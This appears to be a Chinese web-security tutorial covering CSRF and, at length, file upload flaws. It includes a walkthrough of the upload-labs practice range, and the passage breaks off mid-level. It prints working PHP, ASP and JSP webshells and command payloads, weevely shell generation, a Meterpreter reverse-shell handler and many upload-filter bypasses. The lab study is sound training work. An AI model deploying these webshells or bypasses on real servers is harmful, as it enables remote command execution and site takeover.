網(wǎng)站的 cookie 被第三方利用,然后再調(diào)用網(wǎng)站的接口。這種現(xiàn)象是不合理的。如果請(qǐng)求是從自己的網(wǎng)站的前端頁(yè)面發(fā)起的,是正常請(qǐng)求。如果不是從自己的前端頁(yè)面發(fā)起的,則可能是 CSRF,但是又不可能把所有不是從自己前端頁(yè)面的全屏蔽了( 因?yàn)?引流、SEO 也會(huì)產(chǎn)生請(qǐng)求) 。

只要一個(gè)網(wǎng)站的接口能被第三方調(diào)用成功,就有 CSRF,但是并不一定會(huì)發(fā)生 CSRF 攻擊,因?yàn)橛行┚W(wǎng)站本來(lái)就是公開的,或者被第三方調(diào)用的。只要保證 敏感API請(qǐng)求 不被第三方調(diào)用即可。

具體怎么操作?

判斷是不是 CSRF 主要是看是不是從自己的前端頁(yè)面發(fā)起的 敏感API請(qǐng)求,例如:銀行的轉(zhuǎn)賬請(qǐng)求、修改密碼請(qǐng)求等。( 其實(shí)只要不是從自己前端頁(yè)面發(fā)送攜帶 cookie 的請(qǐng)求都是 CSRF。例如:爬蟲?,但是只要不是敏感信息,不是必須要自己的前端頁(yè)面發(fā)起的請(qǐng)求,可以認(rèn)為不是 CSRF 攻擊)

CSRF 自動(dòng)化工具

半自動(dòng)化 工具 ( 需要抓包,然后修改請(qǐng)求再發(fā)送 )

Burp Suite pro:https://portswigger.net/burp/pro

CSRF tester ( 工具比較老,推薦?Burp Suite pro )? github:

CSRFTester & burpsuite之CSRF測(cè)試:https://www.cnblogs.com/forforever/p/12733474.html

【CSRF詳解】CSRF原理、利用過(guò)程、分類、舉例、工具:https://blog.csdn.net/qq_53079406/article/details/123942109

全自動(dòng)化 工具

Bolt (? ):https://github.com/s0md3v/Bolt

CSRF 的防御

  • 1. 區(qū)分是來(lái)自自己的前端頁(yè)面,還是第三方頁(yè)面。header 里面的 refer 字段
  • 2. 讓前端頁(yè)面和偽造的請(qǐng)求不一樣,例如:加上 token
  • ........

Pikachu 靶場(chǎng) 之 CSRF漏洞詳解

:https://blog.csdn.net/m0_46467017/article/details/124795334

dvwa 靶場(chǎng) csrf

DVWA靶場(chǎng)之CSRF(跨站請(qǐng)求偽造)通關(guān):

  • :https://www.shuzhiduo.com/A/x9J2Xb6Kd6/
  • :http://wjhsh.net/tonywell-p-14014086.html

4、文件上傳漏洞

文件上傳漏洞原理:文件上傳漏洞是指用戶上傳一個(gè)文件,文件中嵌入 可執(zhí)行代碼,而且通過(guò)這段代碼,可以獲得執(zhí)行服務(wù)器命令的能力。上傳 "頭像、資源、圖片、附件、簡(jiǎn)歷"?等,只要是上傳東西,都可能文件上傳漏洞

發(fā)現(xiàn)、利用

發(fā)現(xiàn)漏洞的一般流程

  • 1. 找到文件上傳位置。
    在網(wǎng)頁(yè)上一個(gè)一個(gè)點(diǎn)擊,如果能看到源碼,可以直接搜索 upload 等關(guān)鍵字等。
    曲線救國(guó):如果是 Redis 開啟持久化 + 未授權(quán)的訪問(wèn)漏洞,通過(guò)redis寫入文件。MySQL 讀寫 ( sql 注入 )? 等等。使用相關(guān)工具自動(dòng)化掃描目錄,發(fā)現(xiàn)文件上傳漏洞:(?https://github.com/almandin/fuxploider )
  • 2. 嘗試?yán)@過(guò)校驗(yàn),并上傳文件
  • 3. 獲得文件位置
  • 4. 使用蟻劍進(jìn)行連接,管理文件

還可以使用工具自動(dòng)化發(fā)現(xiàn)漏洞。Fuxploider (?https://github.com/almandin/fuxploider ) 是一種開源滲透測(cè)試工具,可自動(dòng)檢測(cè)和利用文件上傳表單缺陷的過(guò)程。該工具能夠檢測(cè)允許上傳的文件類型,并能夠檢測(cè)哪種技術(shù)最適合在所需的Web服務(wù)器上上傳Web shell或任何惡意文件。

利用漏洞的一些方法

刪除/禁用 JavaScript、修改 MIME、等價(jià)擴(kuò)展名、大小寫、htaccess、雙寫、空格、點(diǎn)、::$DATA、%00截?cái)唷?x00截?cái)唷D片馬、條件競(jìng)爭(zhēng) 等等。

防? ? 御

  • 擴(kuò)展名(后綴) 黑白名單
  • MIME 類型校驗(yàn)(image/gif)
  • 文件內(nèi)容頭校驗(yàn)(GIF89a)
  • 對(duì)文件內(nèi)容進(jìn)行二次渲染
  • 對(duì)上傳的文件重命名,不易被猜測(cè)
  • 不要暴露上傳文件的位置
  • 禁用上傳文件的執(zhí)行權(quán)限
  • 服務(wù)器配置

webshell 介紹

github 搜索:?webshell

github ( 一句話木馬、大馬、小馬 ):https://github.com/tennc/webshell

一句話木馬

代碼短,只有一行,場(chǎng)景多,可以單獨(dú)生成文件,也可以插入到圖片中,安全性高隱匿性強(qiáng),可變性免殺。

<?php header("Content-type:text/html;charset=gb2312");@eval($_POST['payload']); ?> <?php header("Content-type:text/html;charset=gb2312")if(isset($_GET('cmd'))){echo($_GET['cmd']);echo "pre";system($_GET('cmd'));}else{echo "用法 : ?cmd=value";} ?>

示例 演示:

網(wǎng)站根目錄下添加 test_muma.php 文件,文件內(nèi)容如圖所示,然后瀏覽器訪問(wèn)?"http://127.0.0.1/pikachu_master/test_muma.php" 出現(xiàn)空白頁(yè),這是正常返回,因?yàn)闆](méi)有內(nèi)容,只要不出現(xiàn) 404 就是正常。( php 版本5.6.9、 firefox最新版 (?chrome 最新版顯示不出來(lái) ) )

相關(guān) payload

payload=system("ver");
payload=system("ipconfig");
payload=system("dir c:");

上面截圖中的 test_muma.php 就相當(dāng)于打入到敵人內(nèi)部的臥底,通過(guò)這個(gè)臥底執(zhí)行命令

小馬

體積小,功能少,只有文件上傳功能,是為一句話木馬鋪路用的。

使用場(chǎng)景:當(dāng)一個(gè)站點(diǎn) "沒(méi)有文件上傳功能",但是可以放文件進(jìn)入時(shí),就可以把 "具有文件上傳功能的文件" 放進(jìn)去,通過(guò)這個(gè)文件上傳 一句話木馬文件,?從而間接的實(shí)現(xiàn)文件上傳功能。

大馬

體積大,功能全,能夠管理數(shù)據(jù)庫(kù),文件管理,對(duì)站點(diǎn)進(jìn)行信息收集,甚至能夠提權(quán)

從哪找或者怎么編寫 大馬、小馬

  • 可以從 github 上直接搜索 webshell? (?https://github.com/search?q=webshell )
  • 還有一些工具可以自動(dòng)的生成,例如下面的:冰蝎、哥斯拉

網(wǎng)站控制工具

通過(guò) "一句話木馬、大馬、小馬" 控制網(wǎng)站后,可以通過(guò) "網(wǎng)站控制工具" 進(jìn)行管理

Web shell 與 冰蝎、蟻劍、哥斯拉(新手必看):https://blog.csdn.net/weixin_54161921/article/details/118579926

Web 木馬常用工具有三個(gè) (?蟻劍、哥斯拉、冰蝎?):

  • 中國(guó)菜刀 ( 已經(jīng)很久沒(méi)更新,可以忽略?)
  • weevely ( 命令行,kali 自帶?):?:https://github.com/epinna/weevely3weevely? 生成的 php 木馬
  • 蟻劍(AntSword)?:https://github.com/AntSwordProject/antSword
  • 哥斯拉(Godzilla Shell 管理工具)?:https://github.com/BeichenDream/Godzilla
  • 冰蝎(Behinder 3.0)?:https://github.com/rebeyond/Behinder

使用示例:weevely

Kali Weevely 工具使用詳解 ( php菜刀 ):https://blog.51cto.com/u_15346415/3692421
Weevely ( Linux中的菜刀 ):https://blog.csdn.net/qq_45521281/article/details/106587791

weevely 是一款使用 python 編寫的 webshell 工具(集 webshell 生成和連接于一身),可以算作是 linux 下的一款菜刀替代工具(限于php),在linux上使用時(shí)還是很給力的,就是某些模塊在windows上無(wú)法使用,總的來(lái)說(shuō)還是非常不錯(cuò)的一款工具

新建一個(gè)遠(yuǎn)程控制文件(?生成 Shell )。

用法:weevely generate <password> <文件名>
示例:weevely generate 123456 shell.php

// 生成 混淆 shell

用法:weevely generate -obfuscator cleartext1_php <password> <文件名>
示例:weevely generate -obfuscator cleartext1_php 123456 shell.php

新生成的文件格式只能是下面的一種:

  • *.php:(生成php后門文件)
  • *.img:(將后門代碼插入到圖片中,并修改.htaccess,該后門需要服務(wù)器開啟.htaccess,因?yàn)樵摵箝T依賴于在.htaccess中使web服務(wù)器對(duì)圖片文件進(jìn)行php解析)
  • *.htaccess:(將后門代碼插入到.htaccess,該后門需要使用同樣需要服務(wù)器開啟.htaccess。生成的.htaccess里包含了php后門語(yǔ)句,同時(shí)使用相關(guān)配置使得web服務(wù)器對(duì)該文件進(jìn)行php解析)

連接一個(gè) session 會(huì)話。(?連接 shell )

備注:使用所設(shè)置的密碼連接所給的后門 url,連接成功后,會(huì)將連接配置信息以 session 文件的形式保存在本地,下次需要再次連接時(shí)可直接讀取 session 文件進(jìn)行連接

// 連接一個(gè)曾經(jīng)連接過(guò)的 session 會(huì)話

用法:weevely session <path> [cmd]
示例:weevey http://xxxx.com/shell.php 123456
[cmd] 參數(shù):為可選參數(shù),如果使用該參數(shù)則在控制時(shí)只執(zhí)行一次命令就結(jié)束,不建立長(zhǎng)久連接( 直接命令執(zhí)行有助于批量 webshell 處理,批量掛馬或者操作等等 )

連接一個(gè)遠(yuǎn)程控制文件

// 連接一個(gè)遠(yuǎn)程的URL開啟遠(yuǎn)程控制,使用遠(yuǎn)程控制文件密碼 password,[cmd]為命令可選

用法:weevely <URL> <password> [cmd]

后滲透階段命令。滲透到對(duì)方服務(wù)器之后,想相當(dāng)于開啟了一個(gè) shell,除了執(zhí)行基礎(chǔ)的系統(tǒng)命令,還可以輸入help,調(diào)用 weevely 模塊。

?信息收集
:system_info ?//收集系統(tǒng)信息模塊,如下
:system_info -info client_ip ?//查找自己連接IP

文件管理
:file_touch ?//修改文件時(shí)間模塊,如下
:file_touch -human-ts '2022-04-20 20:30:21' 文件名

命令執(zhí)行
:shell_php ?//執(zhí)行PHP命令模塊,如下
:shell_php system('ipconfig');


會(huì)話轉(zhuǎn)移(Kali中很多工具和數(shù)據(jù)都是互通的)

//在終端1中,生成 meterpreter 會(huì)話
:backdoor_meterpreter -payload php/meterpreter/reverse_tcp -Ihost 本機(jī)IP -port 端口

//在終端2中,啟動(dòng) MSF,并設(shè)置監(jiān)聽會(huì)話,直到會(huì)話轉(zhuǎn)移過(guò)來(lái)
service postgresq ?start ? ?//啟動(dòng)postgresql數(shù)據(jù)庫(kù)
msfdb reinit ? ? // 初始化msfdb
msfdb start ? ? ?// 啟動(dòng)msfdb
msfconsole ? ? ? // 啟動(dòng)msf

use exploit multi/handler
show paylaods
set payload php/meterpreter/reverse_top
show options
set Ihost 本機(jī)IP
run

使用 .php 文件遠(yuǎn)程控制

第一步:使用 weevely 命令生成一個(gè)遠(yuǎn)程控制文件 backdoor.php,該文件使用的密碼為字符串 "hello"

查看一下文件的內(nèi)容

第二步:將該backdoor.php文件通過(guò)方法移動(dòng)到Apache2服務(wù)器的根目錄/var/www/html/

第三步:通過(guò) weevely 命令進(jìn)行連接我們的遠(yuǎn)程控制文件(文件密碼為字符串hello)可以看到滲透成功,并且可以執(zhí)行命令了

連接時(shí)附加 cmd 參數(shù),只執(zhí)行一次命令就結(jié)束,不建立長(zhǎng)久連接

使用 .img 文件控制 ( 圖片馬?)

使用.htaccess文件控制

控制之后的命令示例:

:system.info? ? 獲取到系統(tǒng)的基本信息

使用示例:中國(guó)蟻劍

中國(guó)蟻劍(AntSword)安裝、使用教程:https://blog.csdn.net/weixin_41924764/article/details/108099952

蟻劍分為兩個(gè)部分,一個(gè)是核心源碼,另一個(gè)是加載器,

  • 源碼:https://github.com/AntSwordProject/antSword/releases
  • 加載器:https://github.com/AntSwordProject/antSword/releases

下載源碼和加載器,將源碼文件夾放在加載器文件夾中,然后啟動(dòng)exe,點(diǎn)擊初始化,選擇源碼文件夾,顯示設(shè)置完畢,重啟就好了

一句話木馬

PHP: <?php @eval($_POST['chopper']);?>ASP: <%eval request("chopper")%>ASP.NET: <%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>

JSP:

<%if(request.getParameter("cmd")!=null){java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();int a = -1;byte[] b = new byte[1];out.print("<pre>");while((a=in.read(b))!=-1){out.print(new String(b));}out.print("</pre>");} %>

使用示例:哥斯拉

首先從 github 下載,下載是一個(gè) jar 文件,直接打開

菜單欄 ---> 管理 ---> 生成?

打開文件,可以看到生成的一句話木馬

把 godzilla.php 放到網(wǎng)站目錄下 ( 我本機(jī)?D:\Software\phpstudy_pro\WWW\pikachu_master),現(xiàn)在使用 哥斯拉 連接。

連接后,點(diǎn)擊進(jìn)入,就可以看到上面的功能,如下:

使用示例:冰蝎

下載完成后,進(jìn)入 server 文件夾中,可以看到已經(jīng)存在 webshell,不需要自己生成

  • ① Server 文件夾:存放著不同類型的 shell 腳本。不需要再自己生成
  • ② Behinder.jar :冰蝎的運(yùn)行程序
  • ③ Behinder_v3.:源壓縮包
  • ④ data.db :配置文件
  • ⑤ 更新日志.txt :版本更新修復(fù)的問(wèn)題

這里把 server 文件夾中 shell.php 放到網(wǎng)站目錄下,使用 冰蝎 進(jìn)行連接

文件上傳漏洞靶場(chǎng)安裝、練習(xí)

github 地址:https://github.com/c0ny1/upload-labs

安裝、通關(guān)

  • upload-labs通關(guān)秘籍和安裝環(huán)境:https://blog.csdn.net/weixin_47543868/article/details/121875701
  • upload-labs安裝及攻略:https://blog.csdn.net/K_ShenH/article/details/122438998

Pass-01 ( 修改前端代碼?)

上傳文件流程,用戶選擇文件,通過(guò)前端上傳,后端接收。所以可在在 前端、后端進(jìn)行校驗(yàn)。這一關(guān)是在前端進(jìn)行校驗(yàn)。所以可以修改前端代碼進(jìn)行繞過(guò)。

方法1:查看源碼,發(fā)現(xiàn)是使用 js 進(jìn)行文件校驗(yàn),所以可以修改前端代碼,把 js 代碼干掉。

( 使用的 firefox 瀏覽器,chrome 好像有問(wèn)題?)

在選擇文件 test_muma.php 上傳,發(fā)現(xiàn)上傳成功,?

test_muma.php 內(nèi)容

<?php eval($_POST["payload"]);

使用 蟻劍 進(jìn)行連接

雙擊,可以看到目錄,說(shuō)明連接成功,且 test_muma.php 工作正常

?方法2:

Pass-02 ( bp 攔截請(qǐng)求并修改?)

既然用戶可以修改前端代碼,所以又在后端都進(jìn)行了檢查。查看提示:?

發(fā)現(xiàn)是對(duì)上傳的文件類型進(jìn)行了 校驗(yàn),只要不是 image/jpeg、image/png、image/gif 都不通過(guò)。這個(gè)文件類型是瀏覽器根據(jù)上傳的文件類型,在請(qǐng)求頭中自動(dòng)標(biāo)記的 (?Content Type、Accept?? ),所以可以通過(guò)代理攔截請(qǐng)求,并修改請(qǐng)求頭中這個(gè)字段的值,然后發(fā)送

MIME 用法

  • 客戶端:
    get ?請(qǐng)求不需要這個(gè)字段
    post 請(qǐng)求頭,放在 Content Type 字段用來(lái)指定上傳的文件類型,方便服務(wù)器解析,放在 Accept 則告訴服務(wù)器允許接收的響應(yīng)類型,比如:只能接收 json 或者其他
  • 服務(wù)端:放在響應(yīng)頭里面,Content Type 告訴客戶端相應(yīng)的數(shù)據(jù)類型,方便客戶端解析

這里使用 BurpSuite 進(jìn)行代理攔截。啟動(dòng) bp,

選擇文件,點(diǎn)擊上傳,就可以攔截到 請(qǐng)求?

修改 Content-Type 值為?image/jpeg,在 bp 中點(diǎn)擊 forward 按鈕,即可上傳成功

再次使用 蟻劍 進(jìn)行連接,可以看到顯示正常。

Pass-03 ( 等價(jià)擴(kuò)展名?)

查看提示,可以看到可以獲取到文件的擴(kuò)展名,

獲取到擴(kuò)展名,還設(shè)置有擴(kuò)展名拒絕的黑名單 ( .asp、.aspx、.php、.jsp?),后面還進(jìn)行刪除了文件末尾的點(diǎn)、轉(zhuǎn)換大小寫等操作。所以處理思路有兩個(gè),

  • 1. 根據(jù)代碼中處理,構(gòu)造 可以通過(guò)的 文件名
  • 2. 不用管怎么處理的,直接使用?"等價(jià)擴(kuò)展名"

這里修改 test_muma.php 為 test_muma.php3,然后上傳,發(fā)現(xiàn)上傳成功

鼠標(biāo)放在圖片上,右鍵 ---> 新建標(biāo)簽頁(yè)打開圖像 ,可以看到 圖片地址,把這個(gè)地址放在 蟻劍 中進(jìn)行連接,發(fā)現(xiàn)執(zhí)行成功。

注意:查看 圖片 url 'http://127.0.0.1/upload_labs/upload/202206100419233010.php3' 發(fā)現(xiàn)圖片名已經(jīng)發(fā)生變化,這是為什么?這其實(shí)是一個(gè)偽靜態(tài)頁(yè)面。

什么是?偽靜態(tài),偽靜態(tài)作用?
偽靜態(tài)即是網(wǎng)站本身是動(dòng)態(tài)網(wǎng)頁(yè)如.php、.asp、.aspx等格式動(dòng)態(tài)網(wǎng)頁(yè)有時(shí)這類動(dòng)態(tài)網(wǎng)頁(yè)還跟“?”加參數(shù)來(lái)讀取數(shù)據(jù)庫(kù)內(nèi)不同資料。很典型的案例即是discuz論壇系統(tǒng),后臺(tái)就有一個(gè)設(shè)置偽靜態(tài)功能,開啟偽靜態(tài)后,動(dòng)態(tài)網(wǎng)頁(yè)即被轉(zhuǎn)換重寫成靜態(tài)網(wǎng)頁(yè)類型頁(yè)面,通過(guò)瀏覽器訪問(wèn)地址和真的靜態(tài)頁(yè)面沒(méi)區(qū)別。前提服務(wù)器支持偽靜態(tài)重寫URL Rewrite功能。

htaccess 文件是 Apache服務(wù)器中的一個(gè)配置文件,它負(fù)責(zé)相關(guān)目錄下的網(wǎng)頁(yè)配置。通過(guò)htaccess文件,可以幫我們實(shí)現(xiàn):網(wǎng)頁(yè)301重定向、自定義404錯(cuò)誤頁(yè)面、改變文件擴(kuò)展名、允許/阻止特定的用戶或者目錄的訪問(wèn)、禁止目錄列表、配置默認(rèn)文檔等功能。

當(dāng)我們隨意訪問(wèn)一個(gè)文章的時(shí)候,比如:http://www.52pojie.cn/thread-1530418-1-1.html
其實(shí)在服務(wù)器中并沒(méi)有這個(gè)文件,只是這個(gè)網(wǎng)站做成了偽靜態(tài):其實(shí)是https://www.52.pojie.cn/thread.php?id=1530418&page=1

為什么這么做呢?因?yàn)闉g覽器或者說(shuō)搜索引擎在收錄一個(gè)網(wǎng)頁(yè) 的時(shí)候當(dāng)然更加喜歡的是靜態(tài)的頁(yè)面比如XXX.html,而不是xxx.php?id=a&page=b,所以discuz搭建的wuai論壇做成了偽靜態(tài)。

最后說(shuō)幾點(diǎn):其實(shí) upload-labs 這個(gè)靶場(chǎng)沒(méi)有成功也很正常,因?yàn)榄h(huán)境確實(shí)是很煩的問(wèn)題。沒(méi)有成功沒(méi)有關(guān)系,關(guān)鍵是知道各種繞過(guò)姿勢(shì)。

Pass-04 ( .htaccess文件?)

查看源碼提示,可以發(fā)現(xiàn)黑名單中擴(kuò)展名增多了,$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

既然黑名單擴(kuò)展名增多了,那能不能改成一個(gè)黑名單中不存在的擴(kuò)展名,比如說(shuō)圖片的 jpg 格式。

現(xiàn)在把 "test_muma.php 改成 test_muma.jpg" 發(fā)現(xiàn)可以上傳成功,但是瀏覽器只是把上傳的文件識(shí)別成圖片,不能把圖片解析成代碼并運(yùn)行。

所以這里就可以猜想,瀏覽器能不能把圖片當(dāng)成代碼來(lái)解析,并運(yùn)行?

需要用到 .htaccess文件 ( Hypertext Access(超文本入口)? )。.htaccess 文件是 Apache 服務(wù)器中的一個(gè)配置文件,它負(fù) 責(zé)相關(guān)目錄下的網(wǎng)頁(yè)配置。 通過(guò) .htaccess 文件,可以實(shí)現(xiàn):

  • 網(wǎng)頁(yè) 301 重定向、
  • 自定義 404 錯(cuò)誤頁(yè)面、
  • 改變文件擴(kuò)展名、
  • 允許/阻止特定的用戶或者 目錄的訪問(wèn)、
  • 禁止目錄列表、
  • 配置默認(rèn)文檔等功能

準(zhǔn)備一個(gè) .htaccess 文件:

<FilesMatch "test_muma.jpg"> SetHandler application/x-httpd-php </FilesMatch>

上傳這個(gè) .htaccess 文件,那么剛才上傳的 jpg 文件就會(huì)成為一個(gè) webshell 可以連接了。

采用 .htaccess 文件的優(yōu)缺點(diǎn):

  • 通常網(wǎng)絡(luò)管理員采用.htaccess文件來(lái)進(jìn)行用戶組的目錄權(quán)限訪問(wèn)控制。沒(méi)有必要將所有的HTTPd服務(wù)器、配置文件以及目錄訪問(wèn)權(quán)限全部授權(quán)給管理員。利用當(dāng)前目錄的.htaccess文件可以允許管理員靈活的隨時(shí)按需改變目錄訪問(wèn)策略。
  • 采用.htaccess的缺點(diǎn)在于:當(dāng)系統(tǒng)有成百上千個(gè)目錄,每個(gè)目錄下都有對(duì)應(yīng)的.htaccess文件時(shí),網(wǎng)絡(luò)管理員將會(huì)對(duì)如何配置全局訪問(wèn)策略無(wú)從下手。同時(shí),由于.htaccess文件十分被容易覆蓋,很容易造成用戶上一時(shí)段能訪問(wèn)目錄,而下一時(shí)段又訪問(wèn)不了的情況發(fā)生。最后,.htaccess文件也很容易被非授權(quán)用戶得到,安全性不高。

Pass-05?( ?)

制作圖片木馬:

  • copy /b huaji.jpg + /a shell.php shell.gif
  • cat huaji.jpg shell.php > shell.gif

Pass-06?( 后綴名大小寫敏感?)

查看提示說(shuō)明,發(fā)現(xiàn)源碼擴(kuò)展名黑名單中,把?.htaccess 擴(kuò)展名也添加進(jìn)去了,對(duì)比第四關(guān)源碼,可以發(fā)現(xiàn)這一關(guān)中少了 大小寫轉(zhuǎn)換,所以就會(huì)出現(xiàn) 大小寫敏感的情況

把 test_muma.php 改成 test.PHP ,然后上傳,使用蟻劍進(jìn)行連接?

Pass-07?( 首尾空格?)

查看提示說(shuō)明,和第四關(guān)對(duì)比,發(fā)現(xiàn)少了 首尾去空格,但是 windows 保存文件是,會(huì)自動(dòng)去掉首尾的空格,所以是需要抓包攔截,然后修改

打開 bp 的攔截,

添加一個(gè) 空格,然后點(diǎn)擊 forward

然后使用 蟻劍 進(jìn)行連接

Pass-08?( 文件名末尾的點(diǎn) )

查看提示說(shuō)明,和第四關(guān)對(duì)比,發(fā)現(xiàn)少了 刪除文件名末尾的點(diǎn)

Pass-09?( ::$ 特殊符號(hào)?)

查看提示說(shuō)明,和第四關(guān)對(duì)比,發(fā)現(xiàn)少了 ::$DATA ,所以可以使用 bp 抓包進(jìn)行修改,添加上?::$DATA。?

bp 攔截請(qǐng)求,然后進(jìn)行修改,轉(zhuǎn)發(fā)?

查看網(wǎng)站目錄下,發(fā)現(xiàn)上傳后,window自動(dòng)干掉了后面的 ::$DATA

所以使用 蟻劍 進(jìn)行連接時(shí),可以兩個(gè) url 都試試,

"http://127.0.0.1/upload_labs/upload/202206100851431917.php::$data"
"http://127.0.0.1/upload_labs/upload/202206100851431917.php"

發(fā)現(xiàn)不帶 ::$DATA 的可以連接成功,

Pass-10?( 構(gòu)造擴(kuò)展名 --- 添加 "點(diǎn)、空格"?)

查看提示說(shuō)明,發(fā)現(xiàn)和第四關(guān)一樣,這是就需要分析 代碼邏輯了。

代碼邏輯:得到文件名 ( 包括文件的擴(kuò)展名?)、刪除文件名末尾的點(diǎn)、得到擴(kuò)展名、擴(kuò)展名轉(zhuǎn)換成小寫、刪除::$DATA 、最后在刪除首尾的空格。

所以可以構(gòu)造文件名:"test_muma.php.空格."

打開 bp 攔截請(qǐng)求,并修改

使用 蟻劍 進(jìn)行連接,可以連接成功,

Pass-11?( 構(gòu)造擴(kuò)展名 --- 字符串替換 )

查看提示,可以發(fā)現(xiàn),如果文件名中有黑名單中關(guān)鍵字,則全部替換成 空字符串

查看源代碼,看到只替換了一次,沒(méi)有進(jìn)行循環(huán)替換,所以可以構(gòu)造 文件名? test_muma.pphphphpp,這樣的文件名替換之后剛好是 test_muma.php?

使用 蟻劍 進(jìn)行連接,可以連接成功,

Pass-12?( 文件名截?cái)?之 url編碼截?cái)?)

文件名 截?cái)?/p>

截?cái)嘧址?#xff1a;char(0),類似 C++ 的 "\0"

filename = test.php%00.txt? <----->? file = test.php

查看提示,發(fā)現(xiàn)只有 jpg、png、gif 才能上傳成功,

通過(guò)查看代碼可以發(fā)現(xiàn),上傳的圖片保存位置在請(qǐng)求中的 save_path 參數(shù)中,

所以就可以通過(guò)攔截請(qǐng)求,修改 請(qǐng)求中的 save_path 參數(shù),加上 test_mum.php%00 ,上傳后的文件名就會(huì)保存成 test_muma.php?

Pass-13?( 文件名截?cái)?之 16進(jìn)制截?cái)?)

和 第12關(guān)一樣 ,都是文件名截?cái)?#xff0c;第12關(guān) save_path 是在 post 請(qǐng)求的url中,截?cái)嗑幋a使用的url編碼,但是這一關(guān) save_path?不是在url中,所以需要改成 16禁止的截?cái)嗑幋a

改成 00?

Pass-14?( 圖片馬 文件包含 )

通過(guò)提示,發(fā)現(xiàn)會(huì)檢查上傳文件的前兩個(gè)字節(jié),并判斷這個(gè)兩個(gè)字節(jié),通過(guò)這兩個(gè)字節(jié)判斷文件類型。

擴(kuò)展知識(shí):每個(gè)文件都有文件頭,文件頭里面保存了文件的基本信息,可以知道文件是什么類型的文件。各類文件頭標(biāo)識(shí):https://blog.csdn.net/mashuai720/article/details/111615743

制作 圖片馬:

  • copy azz.png /b + test_muma.php /a test_img_muma.png
  • cat azz.png?test_muma.php > test_imag_muma.png

縮略圖可以正常顯示,說(shuō)明生成額 圖片馬 沒(méi)有問(wèn)題,也可以使用圖片瀏覽工具打開,發(fā)現(xiàn)也正常。現(xiàn)在以 16進(jìn)制形式打開文件,使用 010edit 打開 test_img_muma.png

在文件結(jié)尾處,可以看到 php 的代碼

現(xiàn)在上傳 test_img_muma.php 可以上傳成功,但是使用 蟻劍 連接時(shí),連接不上,這是因?yàn)樯傻膱D片馬中的 php 代碼只能作為圖片的一部分,并不能運(yùn)行,這時(shí)想要 php 代碼運(yùn)行,就的使用 "文件包含漏洞" 運(yùn)行圖片馬中的惡意代碼。

文件包含漏洞:https://blog.csdn.net/huangyongkang666/article/details/123628579

文件包含:開發(fā)人員通常會(huì)把可重復(fù)使用的函數(shù)寫到單個(gè)文件中,在使用某些函數(shù)時(shí),直接調(diào)用此文件,無(wú)需再次編寫,這種調(diào)用文件的過(guò)程一般被稱為文件包含。

文件包含漏洞原理:文件包含是指當(dāng)服務(wù)器開啟allow_url_include選項(xiàng)時(shí),就可以通過(guò)PHP的某些特性函數(shù) include(),require()和include_once(),requir_once() ,然后利用 URL 去動(dòng)態(tài)包含文件,此時(shí)如果沒(méi)有對(duì)文件來(lái)源進(jìn)行嚴(yán)格審查,就會(huì)導(dǎo)致任意文件讀取或者任意命令執(zhí)行。文件包含漏洞分為本地文件包含漏洞與遠(yuǎn)程文件包含漏洞,遠(yuǎn)程文件包含漏洞是因?yàn)殚_啟了PHP配置中的allow_url_fopen選項(xiàng),選項(xiàng)開啟之后,服務(wù)器允許包含一個(gè)遠(yuǎn)程文件,服務(wù)器通過(guò)PHP特性(函數(shù))去包含任意文件時(shí),由于要包含的這個(gè)文件來(lái)源過(guò)濾不嚴(yán),從而可以去包含一個(gè)惡意文件,而我們可以構(gòu)造這個(gè)惡意文件來(lái)達(dá)到自己的目的。

  • 1、文件包含即程序通過(guò)包含函數(shù)調(diào)用本地或遠(yuǎn)程文件,以此來(lái)實(shí)現(xiàn)拓展功能
  • 2、被包含的文件可以是各種文件格式,而當(dāng)文件里面包含惡意代碼,則會(huì)形成遠(yuǎn)程命令執(zhí)行或文件上傳漏洞。
  • 3、文件包含漏洞主要發(fā)生在有包含語(yǔ)句的環(huán)境中,例如 PHP 所具備include、require等函數(shù)。

點(diǎn)擊上面的 "文件包含漏洞" 鏈接,

使用 蟻劍 進(jìn)行連接。"http://127.0.0.1/upload_labs/include.php?file=upload/1520220610122650.png"

Pass-15?(?圖片馬 圖片校驗(yàn) )

通過(guò)提示發(fā)現(xiàn),這一關(guān)通過(guò) getimagesize() 函數(shù)用于獲取圖像大小及相關(guān)信息,成功返回一個(gè)數(shù)組,失敗則返回 FALSE 并產(chǎn)生一條 E_WARNING 級(jí)的錯(cuò)誤信息。

使用 第15 關(guān)圖片可以直接過(guò)。

Pass-16?(?圖片馬 圖片校驗(yàn) )

通過(guò)提示發(fā)現(xiàn),這一關(guān)通過(guò) exif_imagetype() 函數(shù)校驗(yàn)是不是圖片。

使用 第15 關(guān)圖片可以直接過(guò)。

Pass-17?( 圖片馬 渲染后圖片?)

這一關(guān)是上傳的圖片被進(jìn)行了渲染處理,導(dǎo)致 php 代碼被處理掉,

使用 010editor 打開自己生成的 圖片?和 渲染后的圖片 對(duì)比可以看下,渲染后的圖片文件頭部分就發(fā)生了改變,文件尾的一句話木馬也被干掉了。

解決思路:不斷的嘗試把 一句話木馬放在不同的位置才能渲染后不被干掉。也可以找網(wǎng)上別人整理好的渲染后不被干掉的圖片。

copy azz.png /b + test_muma.php /a + azz.png /b + test_muma.php /a +azz.png /b + test_muma.php /a test_img_muma.png

Pass-18?(?圖片馬 條件競(jìng)爭(zhēng)? )

條件競(jìng)爭(zhēng):利用代碼執(zhí)行的時(shí)間差 來(lái)實(shí)現(xiàn)目的

這一關(guān)也可以通過(guò) "圖片馬 文件包含" 來(lái)實(shí)現(xiàn),但是不是這題的本意。

通過(guò)分析代碼可以知道代碼是 "保存、判斷、刪除、刪除完畢" 的邏輯。

所以處理思路是:能不能在文件存在的時(shí)候連接上去,并修改文件名。答案是肯定可以的,在判斷和刪除文件的時(shí)候,是需要花費(fèi)時(shí)間的,可以開多線程同時(shí)請(qǐng)求,總有一個(gè)可以在文件存在的時(shí)候請(qǐng)求成功,并成功修改文件名。

總共分兩步:

